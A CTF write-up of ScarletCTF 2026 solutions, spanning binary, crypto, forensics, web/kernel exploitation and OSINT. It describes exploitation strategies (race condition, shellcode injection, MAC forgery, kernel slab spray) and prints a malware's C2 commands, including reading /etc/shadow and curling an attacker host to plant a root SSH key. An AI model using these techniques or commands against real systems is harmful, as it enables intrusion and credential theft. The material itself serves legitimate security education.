π₯ScarletCTF 2026
Solutions for all the challenges (Rutgers University CTF)
This is part two of two of my AI CTF exploration weekend to kick off 2026. UofTCTF ended a bit earlier today. Wasted a lot of time with writeups for the 3rd ctf which will not be named, cost me first here.
binex
speedjournal
Description
Its 2026, I need to start journal-maxing. Thats why I use speedjournal, which lets me brain-max my thoughts while time-maxing with the speed of C! Its also security-maxed so only I can read my private entries!
Solution
This challenge involves a race condition vulnerability (also known as TOCTOU - Time of Check, Time of Use).
Analyzing the Source Code:
A restricted log entry containing the flag is stored at index 0
The
login_admin()function authenticates with the password "supersecret" and setsis_admin = 1However, immediately after setting
is_admin = 1, it spawns a detached thread that sleeps for 1000 microseconds (1ms) and then setsis_admin = 0The
read_log()function checks if the log is restricted AND if the user is not admin - if both conditions are true, access is denied
The Vulnerability:
There's a 1000 microsecond window between when is_admin is set to 1 and when the logout thread resets it to 0. If we can issue a read request for the restricted log during this window, we can bypass the access control.
Exploitation Strategy:
The key insight is that network latency is much larger than 1ms, so we cannot wait for server responses between commands. Instead, we pipeline all commands into a single TCP packet:
Login command (option 1)
Password ("supersecret")
Read command (option 3)
Index to read (0)
By sending all of these at once, the server processes them in rapid succession. The read request is executed before the logout thread has a chance to run.
Exploit Code:
Flag
RUSEC{wow_i_did_a_data_race}
ruid_login
Description
The service is a simple login system with two staff users (Professor and Dean). Each staff entry stores a fixed-size name buffer, a function pointer for the role action, and a random RUID generated with rand() (no srand). The Dean can edit a staff member name, and the edit uses read(0, ..., 0x29) into a 0x20-byte name field, allowing a controlled overflow into the function pointer.
Solution
Step 1: Predict RUIDs
Since rand() is unseeded (glibc defaults), the RUIDs are deterministic:
Professor:
1804289383Dean:
846930886
Step 2: Leak PIE base
Use Dean to edit the Professor's name with exactly 32 bytes. Since the name field is 0x20 bytes and not null-terminated, listing staff will print past the name buffer and leak the Professor's function pointer.
Step 3: Leak stack address
Overwrite the Professor's function pointer to puts@plt. When we log in as Professor, it calls puts with a stack pointer in RSI, leaking a stack address.
Step 4: Execute shellcode
The initial netID input is stored on the stack. We inject shellcode there, then overwrite the Dean's function pointer to point at our shellcode buffer.
Flag
RUSEC{w0w_th4ts_such_a_l0ng_net1D_w4it_w4it_wh4ts_g0ing_0n_uh_0h}
crypto
Coloring Heist
Description
Crypto challenge (444 points, 23 solves)
We're given a zero-knowledge proof (ZKP) system for graph 3-coloring. The server has a secret 3-coloring of a graph with 1000 nodes and ~20k edges. Each round:
The server commits to the coloring using SHA256 with salts generated from an LCG
We can query one edge to see the colors and salts of those two nodes
We can guess the full coloring
The salts are generated using a truncated LCG (512-bit state, only top 128 bits revealed).
Solution
Initial (Wrong) Approach: Breaking the LCG
At first, I tried to break the truncated LCG using lattice attacks (Hidden Number Problem). The idea was:
Collect multiple truncated LCG outputs from edge queries
Use lattice reduction (LLL/BKZ) to recover the full LCG state
Predict all salts and brute-force the 3 possible colors for each commit
However, this approach has a fatal flaw: the salts are shuffled using random.shuffle() before being assigned to nodes. Even if we recover the LCG state, we can't map salts to their corresponding nodes without also breaking Python's Mersenne Twister PRNG.
The Real Insight: Unique 3-Coloring
The key observation is that the guess verification accepts any coloring that matches the secret up to permutation of colors:
This means: if the graph has a unique 3-coloring (up to relabeling), we can simply compute it from graph.txt and submit it directly!
With 1000 nodes and ~20k edges, the graph is highly constrained. Using the DSATUR algorithm (greedy coloring with maximum saturation heuristic), we can solve it almost instantly.
Final Solution
The lesson: sometimes the "crypto" in a crypto challenge is a red herring. Understanding what the verification actually checks can reveal a much simpler path to the flag.
Flag
RUSEC{t0uhou_fum0_b4urs4k_orz0city_fn1x9fk3mdj1}
Coloring Fraud
Points: 500 Solves: 0 Author: ContronThePanda
Description
Now give it a try from the other side...
nc challs.ctf.rusec.club 2752
We're given chal.py which implements a Zero-Knowledge Proof protocol for graph 3-coloring. This is the sequel to "Coloring Heist" where we were the verifier - now we're the prover.
Solution
Understanding the Challenge
The server asks us to prove we can 3-color K4 (the complete graph on 4 vertices). The protocol runs 128 rounds:
We send 4 commitments (one per vertex)
Server picks a random edge
We reveal colors/nonces for both endpoints
Server verifies: hashes match commitments AND colors differ
The catch? K4 is not 3-colorable - it needs 4 colors since every vertex is connected to every other vertex. We need to cheat by exploiting the hash function.
The Vulnerability
The challenge uses a custom hash xoo_fast_hash_256 instead of SHA256. For short messages (β€48 bytes), it uses permute_fast instead of permute_full:
Notice what's missing compared to permute_full? The chi step (the nonlinear (a ^ ((~b) & c)) operation)!
This means permute_fast is a completely linear function over GF(2). We can verify:
Exploiting Linearity
For a 2-block message (41 bytes, padding to 48), the state evolution is:
Since permute_fast is affine (f(x) = Mx + c), for two messages to collide we need:
Let d1 = block1 XOR block1' and d2 = block2 XOR block2'. Since M is invertible:
Constraints on d1:
d1must change the color byte (byte 0) to a valid difference (1, 2, or 3)(MΒ·d1)[136:192] = 0β padding bytes in block2 must be unchanged(MΒ·d1)[192:256] = 0β d2 can only affect state[0:6], not state[6:8]
This gives us 120 linear constraints on 192 bits of d1. The kernel has dimension 73!
Finding the Collision
We find a kernel vector with color delta = 3, giving us colors (1, 2):
Both messages hash to the same value but have different color bytes (1 vs 2).
The Exploit
For any edge the server picks, we reveal msg1 for one vertex and msg2 for the other. They have different colors and matching hashes!
Flag
RUSEC{l1ar_li4R_pl4Nt5_f0r_h1r3_gqvhp9843}
Key Takeaways
The "crypto" weakness was the missing nonlinear chi step in
permute_fastLinear permutations allow algebraic collision finding via kernel computation
With a 73-dimensional kernel and only needing color deltas 1/2/3, finding a valid collision was easy
The challenge name "Fraud" hints at cheating the ZKP by exploiting hash collisions
forensics
Dark Tracers
Description
A forensics challenge involving Bitcoin transaction tracing. We're given an initial transaction from a Bitcoin ATM (427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035) and tasked with finding the transaction hash representing the payment from a perpetrator to a scammer in a murder-for-hire case.
The case references a real DOJ press release about Michelle Murphy, who was sentenced to 9 years for attempting to pay $10,510 in Bitcoin to hire a hitman on the dark web.
Solution
Analyzed the initial ATM transaction: The transaction
427e04420fffc36e7548774d1220dad1d20c1c78dd71ad2e1e9fd1751917a035sent funds to two addresses:bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj(23,393,837 satoshis)bc1qt33f8ya0w4ges34f23a0xtkvflzutn0u2gy3gl(34,112,412 satoshis)
Researched the case: From news articles, the agreed payment was $10,510 in Bitcoin. With BTC at ~$29,180 on July 27, 2023, this equals approximately 36,000,000 satoshis (~0.36 BTC).
Traced the transaction chain: The first address (
bc1qadgwek3qhng2jfc25epwuvg4cfsuq3dy4p8ccj) received multiple deposits from Bitcoin ATMs (matching the case details that the perpetrator used ATMs "on at least three occasions"):23,393,837 satoshis (from initial transaction)
8,073,634 satoshis (tx
a6754898...)8,167,038 satoshis (tx
a543237f...)
Found the consolidation: These funds were consolidated in transaction
2503bad8b5a1b4ff4555c28632475cd148a96e631ee1fdee0935b2b487c63ae1, sending 39,630,365 satoshis tobc1q44mw0cffurnex8jxqvtvap3fwv3et0v9lxdc3t.Identified the payment: Transaction
57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48sent:35,848,829 satoshis (~$10,456 at the time) to
1DyodhmYorFDcPRSmJt49bs6Wh559K6FSN3,780,360 satoshis to another address
The 35,848,829 satoshis amount closely matches the $10,510 agreed payment, making this the transaction from the perpetrator to the scammer.
Transaction Chain:
Flag
RUSEC{57ce32d129f4824aa8c7e71e56cf4908dcc32103f5fff3c3d6a08bd7bae78c48}
Peel That Off!
Description
We just identified a scam cluster cashing out! Looks like the cluster is peeling off funds starting from this transaction:
88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a
Can you trace through the transactions and find the end of the peel chain? Upload the transaction with the last traceable transaction in the peel chain that we can attribute as the actor from our scam cluster! These types of peels can take a while and we want to know what service was used. We believe one of the receiving addresses will be a deposit address controlled by a cryptocurrency exchange, so upload the date of the transaction in the format MM/DD/YYYY as well as the name of the exchange that is associated with one or more of the receiving addresses in the final transaction on the peel chain.
FLAG FORMAT: RUSEC{hash:date:exchange}
Solution
This challenge involves Bitcoin forensics, specifically tracing a "peel chain" - a common money laundering technique where a scammer repeatedly sends small amounts to destinations while the bulk of the funds continue as "change" under their control.
Step 1: Analyze the Initial Transaction
The initial transaction 88617a44b501b2aa2ed1001a94fccbafb126578c5c2e696b20ae91dcc2a93e0a consolidates ~141 BTC from 16 inputs and has 2 outputs:
Output 0: 140 BTC to
383wDR9FTSsNP5sysGSFzrjB2LNgPGCVQS(the "change" - continues the peel chain)Output 1: ~1 BTC to
3LF39YmjoSu63SChP5MM6S3Fzo4L8zNK8N(smaller amount)
Step 2: Trace the Peel Chain
In a classic peel chain, the scammer keeps the larger output and "peels off" smaller amounts to various destinations. Following the larger output through subsequent transactions:
1
88617a44b501b2aa...
1 BTC
140 BTC
2
dff53ac3f757d6ab...
5 BTC to 16rmYLNaTU...
135 BTC
3
b2877401b5aae57c...
5 BTC to 16rmYLNaTU...
130 BTC
...
...
...
...
12
87bb6410cf4d11b4...
3 BTC to 16rmYLNaTU...
53.9 BTC (UNSPENT)
The peel chain ends at transaction 87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179 because the larger output (53.918 BTC) is unspent.
Step 3: Identify the Exchange
The address 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y receives the "peeled" funds throughout the chain. Using WalletExplorer.com, we can trace this address:
It belongs to wallet
[0000011bd9]Transactions from this wallet send funds to the
Binance.comlabeled wallet
This indicates that 16rmYLNaTUqQcPnUKPEWbryXCfdV9P7W2Y is a Binance deposit address controlled by the exchange, used by the scammer to cash out.
Step 4: Extract Transaction Details
From the final transaction 87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:
Block height: 708681
Block time (Unix): 1636317070
Date: November 7, 2021 (11/07/2021)
Flag
RUSEC{87bb6410cf4d11b4220a0ff32e6d63fa95308898a8704cd9b48e5587b565f179:11/07/2021:binance}
Tools Used
Blockstream.info API - for blockchain transaction data
WalletExplorer.com - for wallet clustering and exchange identification
Advanced Packaged Threat
Description
A custom PPA was used for a long-discontinued library, and a strange SSH public key appeared in root's authorized_keys. Analyze the packet capture to understand the attack.
Solution
Attack Chain Analysis
Malicious PPA Repository
Host:
knowledge-universalThe victim's apt sources included this malicious PPA
Malicious Package Delivery
Package:
cmdtest.deb(MD5:0fb98bb318a874e424ca3b3c4274eded)Downloaded from
/repo/./amd64/cmdtest.debThe package masqueraded as a legitimate Debian package
First Stage: postinst Script
Downloads second stage from
/symbols.zipPassword for zip:
very-normal-very-coolExecutes
disk_cleanup
Second Stage: disk_cleanup
Heavily obfuscated bash script
Extracts a Rust binary from
yarnlib/_(gzip compressed)Executes the binary with
--masterflag connecting to172.17.0.1:21
Third Stage: Rust Malware Binary
Named
wifi-utilityinternallyUses ChaCha20 encryption for C2 communication
Key:
facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069Nonce:
meow-warez:3(12 bytes)
C2 Protocol (Port 21)
Server sends 2-byte seed (
fa0c) - this is XORed with the first 2 bytes of keystreamAll subsequent messages use a running ChaCha20 keystream (continuing from byte 2)
Messages are length-prefixed (4-byte big-endian) but only the payload is encrypted
The keystream is shared across both directions in chronological order
Decrypted C2 Traffic The malware executed the following commands:
id- confirmed running as rootpwd- current directory (/)cat /etc/shadow- exfiltrated password hashescurl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys- installed backdoor SSH keyls -laR /root- enumerated root's home directorymd5sum /root/.ssh/authorized_keys- verified the SSH key installationbase64 /root/flag.txt- exfiltrated the flag (base64 encoded)rm symbols.zip- cleanuprm disk_cleanup- cleanupexit- terminated session
Flag Extraction The base64-encoded flag response:
Key Decryption Insight
The critical insight was understanding how the ChaCha20 keystream was used:
The 2-byte seed from the server is XORed with the first 2 bytes of keystream
All subsequent encrypted messages continue using the same keystream (starting from byte 2)
This applies to both directions in chronological message order
PyCryptodome's ChaCha20 with counter=0 (no seek) works correctly for this
Flag
RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}
Tools Used
Scapy for pcap analysis and TCP stream reassembly
PyCryptodome for ChaCha20 decryption
binutils/strings for binary analysis
Python for scripting
sadface
Description
As I look back at my RUSEC memories, I remembered the time that I met my mentor! Seems like he accidently kept sending my machine a payload that made my screen go blue...
Solution
We're given a sad_face.zip file containing Challenge.evtx - a Windows Event Log file.
Using python-evtx to parse the event log, we search for records containing binary data:
Records 301-330 contain Base64-encoded data in their <Binary> fields. Decoding them reveals most are garbage, but three records contain valid Base64 strings after the first decode:
309
VWxWVFJVTjdNM1JsY201aGJGOWliSFV6WHc9PQ==
UlVTRUN7M3Rlcm5hbF9ibHUzXw==
316
YzBCa1gyWmhZek5mYzIxaWRnPT0=
c0BkX2ZhYzNfc21idg==
324
TVY4ek9Ea3dZMjR5YXpJNWZRPT0=
MV8zODkwY24yazI5fQ==
The data is double Base64-encoded. Decoding the second layer and concatenating reveals the flag:
Flag
RUSEC{3ternal_blu3_s@d_fac3_smbv1_3890cn2k29}
The flag references EternalBlue (MS17-010), a notorious SMBv1 exploit that caused blue screens of death when attacking vulnerable systems. It was developed by the NSA and leaked by the Shadow Brokers in 2017.
melstudios
Peculiar Code (Level1)
Description
We have a Unity IL2CPP game called "SpaceTime" that communicates with a server at https://melstudios.ctf.rusec.club. The /flagtime endpoint returns encrypted data with an IV and ciphertext. The goal is to reverse engineer the game to find the AES decryption key.
Solution
1. Extract Game Files
The game is a Unity IL2CPP build. Key files:
GameAssembly.dll- Native compiled game codeglobal-metadata.dat- IL2CPP metadata
2. Use Il2CppDumper
Extract class definitions from the IL2CPP binary:
This reveals a RUSEC class with:
EncryptedDatainner class withivandctfieldsA closure class
<>c__DisplayClass2_0with abyte[] keyfield
3. Get Encrypted Data
Returns:
4. Reverse Engineer Key Generation
Using Ghidra to decompile RUSEC.Start() at VA 0x1803E3800:
Get Unity Application names:
Application.get_companyName()-> "RUSEC CTF"Application.get_productName()-> "SpaceTime"
Concatenate with separator:
A string concatenation function combines:
companyName + separator + productNameThe separator is a newline character (
\n)
Derive key:
The concatenated string is hashed with SHA256
Result:
SHA256("RUSEC CTF\nSpaceTime")= 32 bytes (AES-256 key)
5. Decrypt
Key Insight
The "peculiar code" derives the AES key from Unity's Application.companyName and Application.productName settings, concatenated with a newline and hashed with SHA256. These values are set in the Unity project settings and stored in globalgamemanagers.
Flag
RUSEC{sp4cetime_flagt1me_w3lcome_t0_th3_g4me_th1s_1s_0nly_th3_b3g1nn1ng_fr1end}
Spider (Level2)
Description
OMG!!! This is big!!! I don't know how u are so smart at dis...
Can u dig even deeper? I'm sure something in dat server has some vulnerability...
She mentioned something about a graph that looked like a V?
Solution
The hint about a "graph that looked like a V" points to GraphQL - its logo and query structure resembles a V shape.
Step 1: Discover GraphQL Endpoint
From Level1, we know the API is at https://melstudios.ctf.rusec.club. Probing common GraphQL paths:
Step 2: Introspection
GraphQL introspection reveals the schema:
Key findings:
Query:
user,leaderboard,gameStatsMutations:
updateScore,purchaseFlag
Step 3: Analyze the Score System
The updateScore mutation has insufficient authorization - it allows setting arbitrary scores:
Step 4: Exploit Score Manipulation
After authenticating with our token from Level1:
Step 5: Retrieve Flag
With the manipulated score, we can now purchase the Level2 flag:
The server sarcastically acknowledges our "legitimate" score:
Key Vulnerability
Broken Access Control (CWE-284): The updateScore mutation lacks proper authorization checks, allowing any authenticated user to set arbitrary scores. The server should validate that score updates come from legitimate gameplay rather than direct API calls.
Flag
RUSEC{w0w_1m_sur3_y0u_obt4ined_th1s_sc0re_l3gally_and_l3git}
Mac n' Cheese (Level3)
Description
A wittle birdy once told meh that Amels was really really scared about something regarding authentication :O
She responded saying that there's a critical flaw in authentication that could be VERYY bad!!! It was something about the vulnerabilites of "CBC-MAC" and how she wanted to try "another mode"? Something with "feedback" in the name. I'm not a hacker like u so I have no clue what that means, but figured it might be important...
I also saw on stream that she was playing with an account called amels_gamedev_123X, the X is a number that i couldn't quite catch (so u might need to bruteforce for it) :c
Solution
This challenge involves exploiting a vulnerability in a CFB-MAC (Cipher Feedback Mode MAC) authentication system used by the MelStudios API at https://melstudios.ctf.rusec.club.
1. Discovering the API
By exploring the CTF infrastructure, I found the MelStudios API with these endpoints:
/login- Create/authenticate users/stats- View user stats (requires auth)/purchased_flag- Get purchased flags (requires auth)/fdcf9b6b0c72c52382a4- Purchase Level2 flag
The authentication uses a cookie with format: token="base64(username).hex_mac"
2. Understanding the MAC Scheme
By creating test accounts and analyzing their MACs, I discovered:
For usernames β€15 bytes:
MAC = username || PKCS7_padding XOR keystream_1The keystream for block 1 is constant:
4da6ace75d6b24a8f6f2735d369d6a87This is characteristic of CFB mode with a fixed IV
3. The Critical Vulnerability
The key discovery was that all 16-byte usernames produce the same MAC (33a5f6142561e2605fd834d1fa5b00cb), regardless of content. This means the second-block keystream (keystream_2) is constant and independent of the first block's content.
This is a severe implementation flaw - in proper CFB mode, keystream_2 = E_K(C_1) where C_1 depends on block 1. Here, it appears the implementation resets or ignores the cipher state between blocks.
Extracting keystream_2:
4. Forging Authentication Tokens
The server blocks account creation containing "amels" (case-insensitive), but with the known keystreams, I could forge MACs without using the server.
For target amels_gamedev_123X (18 bytes):
Block 1:
amels_gamedev_12(16 bytes)Block 2:
3X+\x0e*14 (PKCS7 padded)
The MAC only depends on block 2 and the constant keystream_2:
5. Finding the Target Account
Testing all 10 forged tokens (X=0 to X=9), accounts amels_gamedev_1233 and amels_gamedev_1234 existed and had purchased flags.
6. Getting the Flag
Accessing /purchased_flag with the forged token for amels_gamedev_1233:
Flag
RUSEC{trust_me_br0_im_t0tally_admin_y0ur_s3cret_is_s4fe_with_m3}
Key Takeaways
CFB-MAC Implementation Flaw: The server's MAC implementation fails to properly chain cipher state between blocks, making all second-block keystreams identical regardless of first-block content.
XOR-based MAC Forgery: With known keystreams, MACs can be forged for arbitrary messages by simple XOR operations - no access to the encryption key needed.
Input Validation vs Crypto: The "amels" filter only applied to account creation, not to cookie-based authentication, allowing forged tokens to bypass the restriction.
kAnticheat (Level 4)
Description
Points: 500 Solves: 0 Author: mel
Turns out this silly little game dev is becoming a KERNEL dev?? People have been saying some crazy things!! Apparently she's making her own kernel level anticheat?? And it's WIP???
You need to get to the bottom of this. I managed to sneak out some files (hehe phishing ^-^ phishy). Can you see if it's vulnerable? She's running it on her home network, so maybe if we can PWN HER SYSTEM we can leak all her SUPER SECRET VIDEO GAMES!!1!
We're given a QEMU VM with a custom kernel module (amels_anticheat.ko) and need to read /flag.txt which is owned by root with mode 400.
Challenge Architecture:
User connects via netcat
Server downloads our compiled exploit from a provided URL
Server boots QEMU VM with our binary at
/mnt/exploitWe get a shell as uid 100 (unprivileged)
A SUID binary
/home/amels/example1runs as root and has atest()function that reads the flag
Solution
Vulnerability Analysis
The kernel module implements a /proc/anticheat device with read/write/seek operations. Each process that opens it gets an anticheat_blk struct allocated:
Bug 1: Unbounded seek in secret_seek()
Bug 2: Integer underflow in get_blk_if_safe()
When offset > 80, the expression SECRET_SIZE - *offset becomes negative, but when cast to size_t, it becomes a huge positive number. The min() then returns 80, allowing us to read/write 80 bytes at arbitrary offsets past the secret buffer.
Bug 3: Stack buffer overflow in example1
The SUID binary example1 reads user-provided offset, seeks to it, then reads from the anticheat device into a 10-byte stack buffer. With the OOB bug, the kernel copies 80 bytes, overflowing the stack and overwriting the return address at byte offset 54.
Exploitation Strategy
Sandwich Attack: Allocate sprayer processes before AND after example1's allocation in the SLAB
"Before" sprayers: Will OOB write to clear example1's
secret_locked"After" sprayers: Will provide payload that example1 reads OOB
Clear secret_locked: Example1 locks its secret before reading. We need to clear this flag using OOB write from a "before" sprayer.
Control return address: Fill "after" sprayer blks with the address of
test()(0x4011f6), which reads and prints the flag.
Key Calculations
The SLAB allocator uses 256-byte objects for the 164-byte struct.
To clear next blk's secret_locked (S=256):
Target:
next_blk + 80Write at:
our_blk + 84 + offset = our_blk + 256 + 80Offset:
256 + 80 - 84 = 252
For example1's OOB read (S=256):
Read at offset 178 reads from
example1_blk + 84 + 178 = example1_blk + 262 = next_blk + 6Byte 54 of the 80-byte read corresponds to
next_blk + 60, which hits our payload at a proper 8-byte boundary
Final Exploit
Execution Flow
Sprayer 14 is adjacent to example1's blk
Sprayer 14's OOB write at offset 252 clears example1's
secret_lockedExample1 seeks to offset 178 and reads 80 bytes
Due to OOB, it reads from the next SLAB object (sprayer 0 of "after" set)
The 80-byte read overflows the 10-byte stack buffer
Return address at byte 54 is overwritten with 0x4011f6
main()returns totest()which opens and prints/flag.txt
Flag
RUSEC{k3rnel_p4nic_n0t_sp4cetiming}
MelStudios/Revenge (Level 5)
Description
Points: 495 Solves: 6 Author: mel
So, apparently there was something up with the emulator...? :0
Turns out, she fixed it. Something with an escape character. Whatever, she fixed it now.
(Use the same files as Melstudios Level4)
Solution
Level 5 mentions that an "escape character" vulnerability was fixed on the server side. However, the kernel module and VM configuration remain identical to Level 4.
Since our exploit targets the kernel vulnerability (OOB read/write in the anticheat module) rather than any server-side URL handling bugs, the exact same exploit works unchanged.
Key Insight: The "escape character" fix only patched a potential command injection in the server's URL download mechanism. The actual kernel pwn path remains exploitable on both levels.
Flag
RUSEC{w0w_you_just_pwn3d_m3lstudios}
Amels (Level0)
Description
Haii!! I need your help! >_>
There's this microcelebrity girlypop game developer called Amels I'm really fond of. I've been following her work EXTENSIVELY! on her social media!! (Call me a big fan)
(She hates alot of common social medias like Instagram, Twitter, etc., so it was really hard to find it >_<)
However, there's this new game that I really, REALLY want to play!! I've heard, from what she's been saying, that it's called SpaceTime, but I can't seem to find it anywhere! I'm not that much of an OSINT GOD like u seem to be, could u maybe help me figure it out? :c
Can you find the listing of the game and gain access to it? Pweeese!! I neeed to play it :(
Solution
We're given an itch.io profile for a game developer called "Amels" and told they have a presence on a "non-mainstream" social media platform. The goal is to find the password to access the password-protected game at https://amels.itch.io/spacetime.
Step 1: Find the social media profile
Starting from the itch.io profile, we need to search for "amels" on various non-mainstream platforms. Since the challenge hints that the developer hates common social media like Instagram and Twitter, we focus on alternative platforms.
Searching on Bluesky, we find the profile amels-games (bsky.app/profile/amels-games.bsky.social).
Step 2: Discover the YouTube channel
Using the Wayback Machine (archive.org), we can find archived snapshots that reveal a link to the developer's YouTube channel associated with the Bluesky profile.
Step 3: Find the password
On the YouTube channel, there's an accidental paste containing the password in plain text:
Step 4: Access the game
Navigate to https://amels.itch.io/spacetime and enter the password cash-starting-distant-liable-placard to unlock the game page and retrieve the flag.
Flag
RUSEC{d0wnlo4d_y0ur_fr33_c0py_t0day!}
osint
Scouts Honor 2.0
Description
This OSINT challenge consists of two parts.
Part 1: Identify a childhood magazine published by a historic civic organization using the clues:
Mentions of the Olympics
A funny mail burro who loves alfalfa
Something called βCheetah Huntβ
Then find the ISSN number of that magazine.
Part 2: Find a World War I era newspaper from one of the three Rutgers University campus cities:
New Brunswick
Newark
Camden
The newspaper must mention a historic boy-led organization and state that General McAlpin was its President.
Flag format: RUSEC{ISSN-1234-5678_NAME-OF-NEWSPAPER}
Solution
Part 1 β The Magazine
The challenge mentions a βhistoric civic organization,β which strongly points to the Boy Scouts of America.
Their long-running magazine is Boysβ Life, first published in 1911 (renamed Scout Life in 2021).
Clue Matching
Each clue matches known Boysβ Life content:
Mail burro who loves alfalfa This refers to Pedro the Mailburro, Boysβ Lifeβs long-running mascot since 1947. Pedro appears in comic strips and reader mail sections and is famous for loving alfalfa.
Olympics Boysβ Life regularly publishes Olympic features and athlete spotlights (for example, London 2012 coverage).
βCheetah Huntβ This refers to a feature on the Cheetah Hunt roller coaster at Busch Gardens Tampa, which opened in 2011 and was covered in youth magazines.
Together, these clues clearly identify Boysβ Life.
ISSN
Looking up Boysβ Life in the ISSN Portal and library catalogs gives:
Boysβ Life (Print) ISSN: 0006-8608
So Part 1 = ISSN-0006-8608
Part 2 β The Newspaper
The βhistoric boy-led organizationβ mentioned is the American Boy Scouts, later renamed the United States Boy Scouts (USBS). This was a rival organization to the Boy Scouts of America, founded in 1910.
General McAlpin
General Edwin A. McAlpin
President and Chief Scout of the American Boy Scouts / USBS
Served until his death in April 1917 (during World War I)
So the newspaper must be from the WWI era and mention McAlpin as President.
Rutgers Campus Cities
Rutgers campuses are located in:
New Brunswick, NJ
Newark, NJ
Camden, NJ
The newspaper must originate from one of these cities.
Finding the Newspaper
Searching digitized WWI-era New Jersey newspapers leads to a Camden labor newspaper called:
The Voice of Labor (Camden, New Jersey)
This paper ran from 1915β1917 and covered national political and civic issues. A 1916 issue contains an article referencing:
βGeneral McAlpin, President of the U.S. Boy Scoutsβ¦β
This directly matches the challenge description:
WWI era
Rutgers campus city (Camden)
Mentions General McAlpin as President
Mentions the historic boy-led organization
Therefore, the newspaper is:
The Voice of Labor
Flag
RUSEC{ISSN-0006-8608_THE-VOICE-OF-LABOR}
Revenge of the 67
Description
An OSINT challenge where a prisoner describes being shot and captured. They mention that a "leader" tried to make a web exploitation challenge for the CTF but didn't finish, so the infrastructure was taken down. However, some DNS records might still exist. The challenge hints to look for the leader's name in lowercase with honoraries removed (e.g., "King Ben Swolo" β "ben_swolo").
Solution
Identify the CTF domain: The challenge is from Scarlet CTF, hosted by RUSEC (Rutgers Security Club) at
ctf.rusec.club.Decode the "67" reference: "Revenge of the 67" is a play on "Revenge of the Sith" (Star Wars Episode III). In Star Wars, Order 66 was the command to kill the Jedi. Order 67 is a joke reference from LEGO Star Wars. This hints at Star Wars characters.
Identify the "leader": The challenge mentions looking for a name with "honoraries removed." In Star Wars, "General Grievous" is a military leader. Removing the honorary title "General" gives us "grievous".
Query DNS TXT records: Check for TXT records at
grievous.ctf.rusec.club:
Output:
Flag
RUSEC{HELP-THEY-PUT-ME-IN-A-DNS-RECORD}
Stuck In The Middle With You
Description
We're trying to figure out how to track this Tor traffic but all we've got is this string, A68097FE97D3065B1A6F4CE7187D753F8B8513F5! We don't know what to do with it. We're looking for someone responsible for hosting multiple nodes. Can you find the IPv4 addresses this node and any of its effective family members?
FLAG FORMAT: RUSEC{family_ip1:family_ip2:...:family_ipX} for X family members
The flag will be the IPs of the node and all the associated family members in order of oldest node to youngest, based on when they were first seen, separated by colons.
Solution
The string A68097FE97D3065B1A6F4CE7187D753F8B8513F5 is a 40-character hexadecimal string, which is the format used for Tor relay fingerprints.
Step 1: Look up the relay fingerprint
Using the Onionoo API (Tor's official relay information service), we can query this fingerprint:
This reveals the relay "olabobamanmu" with:
IPv4: 51.15.40.38
First seen: 2020-04-03
Effective family members (3 total):
414E64BA607560F9D9C196A825950DC968700420
A68097FE97D3065B1A6F4CE7187D753F8B8513F5
B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20
Step 2: Query the other family members
Looking up each fingerprint via Onionoo:
B4CAFD9CBFB34EC5DAAC146920DC7DFAFE91EA20
netimanmu
212.47.233.86
2019-02-18
A68097FE97D3065B1A6F4CE7187D753F8B8513F5
olabobamanmu
51.15.40.38
2020-04-03
414E64BA607560F9D9C196A825950DC968700420
kanemeadminmanmu
151.115.73.55
2024-12-29
All relays belong to the same operator (giannoug.gr domain) and are hosted on Scaleway infrastructure.
Step 3: Order by first seen date (oldest to youngest)
212.47.233.86 (netimanmu) - 2019-02-18 (OLDEST)
51.15.40.38 (olabobamanmu) - 2020-04-03
151.115.73.55 (kanemeadminmanmu) - 2024-12-29 (YOUNGEST)
Flag: RUSEC{212.47.233.86:51.15.40.38:151.115.73.55}
Frog Finder
Description
A frog appeared in the ScarletCTF Discord. Identify its name and its wealth. Flag format: RUSEC{NAME_MONEY}.
Solution
We pulled the userβs Discord avatar (WebP) from the CDN and inspected it locally:
Opening avatar.png shows a pixel-art frog with a red mouth. To identify it, we compared against Lufia II monster sprites. The match is the King Frog sprite from Lufia II (same pose and colors). To retrieve its stats, we queried the RPGClassics Lufia II monster list and parsed the Sea enemies page:
Output includes the King Frog row with Gold value 350:
Flag
RUSEC{KINGFROG_350}
Scarlet History
Description
An image of a historic Victorian mansion is provided. Identify the building to find the flag.
Solution
The challenge provides Scarlet_History.jpg, showing a Victorian-style mansion with distinctive architectural features.
Step 1: Reverse Image Search
Using Google Reverse Image Search on the provided image identifies the building as the James Van Middlesworth House, a historic Victorian mansion located on the Douglass Campus at Rutgers University in New Brunswick, New Jersey.
The house has been repurposed and now serves as the Douglass Writing Center.
Flag
RUSEC{DOUGLASS_WRITING_CENTER}
So, you think you're good at Geolocation?
Description
A cybercriminal on the run posts an obfuscated selfie while hiking. We need to find the what3words location of the rail crossing visible in the image.

Solution
The image post.png shows an anime-style scene with several key geographic indicators:
Ski slopes/resort in the background
Power transmission lines
Railroad tracks crossing a road
Mountain scenery
Step 1: Identify the Region
The ski resort and mountain terrain suggest a location in British Columbia, Canada - specifically the Whistler area, which is known for skiing and has both railway and power infrastructure.
Step 2: Locate Power Lines
Using Open Infrastructure Map, we can identify high-voltage transmission lines in the Whistler/Squamish corridor area. The power lines in the image match the BC Hydro transmission infrastructure running through this region.
Step 3: Find Railway Crossings
Using OpenRailwayMap, we can identify railway lines in the same area. The CN Rail line runs through this corridor, and there are several level crossings where roads intersect the tracks.
Step 4: Cross-Reference with Ski Resorts
Looking at ski resort locations in British Columbia, we can narrow down to areas where:
Power transmission lines are visible
Railway tracks cross roads
Ski slopes are visible in the background
Step 5: Identify the Exact Location
By correlating all three datasets (power lines, railway crossings, and proximity to ski resorts), we identify the rail crossing location and navigate to it on what3words.com.
The rail crossing is located at the what3words address: makers.interesting.mystic
Flag
RUSEC{makers.interesting.mystic}
